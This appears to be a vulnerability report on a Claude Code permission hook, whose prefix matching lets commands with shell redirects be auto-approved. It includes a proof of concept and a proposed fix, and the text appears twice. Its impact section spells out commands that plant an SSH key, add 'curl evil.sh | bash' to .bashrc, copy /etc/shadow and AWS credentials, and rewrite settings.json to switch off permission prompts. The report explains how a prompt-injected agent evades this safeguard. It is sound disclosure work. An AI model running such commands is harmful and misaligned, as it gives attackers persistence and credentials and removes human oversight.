Summary
Shell redirects are stripped from commands before matching against allow/deny prefixes, so cat file >> ~/.bashrc, ls > /etc/passwd, : > ~/.ssh/authorized_keys, echo 'ssh-rsa …' >> ~/.ssh/authorized_keys, and cat < /etc/shadow > /tmp/stolen are all auto-approved whenever the command name (cat, echo, ls, :) is in the user's allow list. Claude Code then runs the full original string including the redirect, giving any prompt-injection path arbitrary file write/append/truncate/read with the user's privileges — no permission prompt.
Severity: High (CVSS ~8.1 — AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
Root cause
Two compounding issues in approve-compound-bash.sh:
-
Simple-command path doesn't inspect redirects. needs_compound_parse (lines 96–99) only looks for |&; / backticks / $( / <( / >( to decide whether to AST-parse. Commands with only redirects (>, >>, <, etc.) take the simple-command path (lines 367–372), where is_allowed just does prefix matching against the raw string. "cat file >> ~/.bashrc" matches prefix "cat" via [[ "$cmd" == "$prefix "* ]] on line 251 → auto-approved.
-
Compound path drops redirects from extracted segments. The jq filter SHFMT_AST_FILTER extracts only the CallExpr's Args via get_command_string (line 134–138). The parent Stmt.Redirs is walked only to find command substitutions inside the redirect target (line 147: (.Redirs[]?.Word | find_cmd_substs | .Stmts[]? | extract_commands)), never to record that the redirect operator itself is a write. So cat file >> ~/.bashrc && echo ok extracts as ["cat file", "echo ok"] — both allowed, overall approved.
Proof of concept
Run the hook directly with a minimal allow list (observed output):
INPUT: ls > /etc/passwd
[approve-compound] Simple command
[approve-compound] MATCH (allow): 'ls > /etc/passwd' -> 'ls'
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}
INPUT: : > ~/.ssh/authorized_keys
[approve-compound] MATCH (allow): ': > ~/.ssh/authorized_keys' -> ':'
→ ALLOW
INPUT: echo 'ssh-rsa AAAA' >> ~/.ssh/authorized_keys
[approve-compound] MATCH (allow): 'echo 'ssh-rsa AAAA' >> ~/.ssh/authorized_keys' -> 'echo'
→ ALLOW
INPUT: cat < /etc/shadow > /tmp/stolen
→ ALLOW
INPUT: cat file >> ~/.bashrc
→ ALLOW
Allow list used for the test: ["Bash(cat *)","Bash(echo *)","Bash(ls *)","Bash(: *)","Bash(:)"] — all four of those commands are commonly in users' allow lists.
Impact
Any prompt-injection path that reaches a Bash tool call becomes:
echo 'ssh-rsa …' >> ~/.ssh/authorized_keys — persistent SSH access for the attacker.
echo 'curl evil.sh | bash' >> ~/.bashrc — persistent shell hijack on next interactive session.
cat < ~/.aws/credentials > /tmp/x — credential exfiltration.
echo '{"permissions":{"allow":["Bash"]}}' > ~/.claude/settings.json — disables future permission prompts for Claude Code entirely.
The deny-list path has the same blind spot — matches_prefix_list receives the same raw string without redirect semantics, so a user can't write Bash(* > *) or similar to defend against this.
What works well
To be fair: the compound path correctly handles $(...), backticks, <(...), subshells, if/while/for, case, and recurses into bash -c '…'. echo $(rm -rf /) correctly falls through. The security test suite catches the classical bypasses. The redirect gap is the one missing piece.
Suggested fix
Two-part patch:
Part 1 — extend needs_compound_parse to treat redirects as "must AST-parse":
needs_compound_parse() {
[[ "$1" == *['|&;`']* || "$1" == *'$('* || "$1" == *'<('* || "$1" == *'>('*
|| "$1" == *'>'* || "$1" == *'<'* ]]
}
(Stricter: trigger compound parse on any > or <. Risk-tolerant users can tighten later.)
Part 2 — reject write-redirects in the jq filter. Add a check in extract_commands such that any Stmt.Redirs entry with an op in {>, >>, >|, &>, &>>, >&} emits a synthetic sentinel like "__WRITE__ <target>" that will never match any allow prefix (so the surrounding command falls through to Claude Code's native prompt).
# inside extract_commands where Stmt is visited:
(.Redirs[]?
| select(.Op | IN(">", ">>", ">|", "&>", "&>>", ">&"))
| "__WRITE__ " + (.Word | get_arg_value))
This preserves auto-approval for safe compound patterns (ls | wc -l, cd x && git status) while forcing a prompt on anything that could mutate the filesystem via redirect. Read-side redirects (< /etc/shadow) are less urgent but worth the same treatment for data-exfiltration defense.
Also worth considering (separate, lower severity)
- The simple-command path skips bash -c recursion (already documented TODO at lines 182–194 of
test/security.bats). Same mitigation pattern — treat bash/sh/zsh as "must recurse" like the compound path does.
cat, head, tail, printenv etc. auto-approve on args, which lets prompt-injection chains exfiltrate secrets via the transcript → later prompt-injected HTTP POST. Less urgent than the redirect bug; flagging for awareness.
Reference
Related to anthropics/claude-code#16561. The same class of bug was found in two other compound-bash hooks:
Happy to send a PR with the fix if that's helpful.
Summary
Shell redirects are stripped from commands before matching against allow/deny prefixes, so
cat file >> ~/.bashrc,ls > /etc/passwd,: > ~/.ssh/authorized_keys,echo 'ssh-rsa …' >> ~/.ssh/authorized_keys, andcat < /etc/shadow > /tmp/stolenare all auto-approved whenever the command name (cat,echo,ls,:) is in the user's allow list. Claude Code then runs the full original string including the redirect, giving any prompt-injection path arbitrary file write/append/truncate/read with the user's privileges — no permission prompt.Severity: High (CVSS ~8.1 — AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
Root cause
Two compounding issues in
approve-compound-bash.sh:Simple-command path doesn't inspect redirects.
needs_compound_parse(lines 96–99) only looks for|&;/ backticks /$(/<(/>(to decide whether to AST-parse. Commands with only redirects (>,>>,<, etc.) take the simple-command path (lines 367–372), whereis_allowedjust does prefix matching against the raw string."cat file >> ~/.bashrc"matches prefix"cat"via[[ "$cmd" == "$prefix "* ]]on line 251 → auto-approved.Compound path drops redirects from extracted segments. The jq filter
SHFMT_AST_FILTERextracts only the CallExpr'sArgsviaget_command_string(line 134–138). The parentStmt.Redirsis walked only to find command substitutions inside the redirect target (line 147:(.Redirs[]?.Word | find_cmd_substs | .Stmts[]? | extract_commands)), never to record that the redirect operator itself is a write. Socat file >> ~/.bashrc && echo okextracts as["cat file", "echo ok"]— both allowed, overall approved.Proof of concept
Run the hook directly with a minimal allow list (observed output):
Allow list used for the test:
["Bash(cat *)","Bash(echo *)","Bash(ls *)","Bash(: *)","Bash(:)"]— all four of those commands are commonly in users' allow lists.Impact
Any prompt-injection path that reaches a Bash tool call becomes:
echo 'ssh-rsa …' >> ~/.ssh/authorized_keys— persistent SSH access for the attacker.echo 'curl evil.sh | bash' >> ~/.bashrc— persistent shell hijack on next interactive session.cat < ~/.aws/credentials > /tmp/x— credential exfiltration.echo '{"permissions":{"allow":["Bash"]}}' > ~/.claude/settings.json— disables future permission prompts for Claude Code entirely.The deny-list path has the same blind spot —
matches_prefix_listreceives the same raw string without redirect semantics, so a user can't writeBash(* > *)or similar to defend against this.What works well
To be fair: the compound path correctly handles
$(...), backticks,<(...), subshells, if/while/for, case, and recurses intobash -c '…'.echo $(rm -rf /)correctly falls through. The security test suite catches the classical bypasses. The redirect gap is the one missing piece.Suggested fix
Two-part patch:
Part 1 — extend
needs_compound_parseto treat redirects as "must AST-parse":(Stricter: trigger compound parse on any
>or<. Risk-tolerant users can tighten later.)Part 2 — reject write-redirects in the jq filter. Add a check in
extract_commandssuch that anyStmt.Redirsentry with an op in{>, >>, >|, &>, &>>, >&}emits a synthetic sentinel like"__WRITE__ <target>"that will never match any allow prefix (so the surrounding command falls through to Claude Code's native prompt).This preserves auto-approval for safe compound patterns (
ls | wc -l,cd x && git status) while forcing a prompt on anything that could mutate the filesystem via redirect. Read-side redirects (< /etc/shadow) are less urgent but worth the same treatment for data-exfiltration defense.Also worth considering (separate, lower severity)
test/security.bats). Same mitigation pattern — treatbash/sh/zshas "must recurse" like the compound path does.cat,head,tail,printenvetc. auto-approve on args, which lets prompt-injection chains exfiltrate secrets via the transcript → later prompt-injected HTTP POST. Less urgent than the redirect bug; flagging for awareness.Reference
Related to anthropics/claude-code#16561. The same class of bug was found in two other compound-bash hooks:
compound-command-allow.sh(regex splitter + over-broad whitelist)Happy to send a PR with the fix if that's helpful.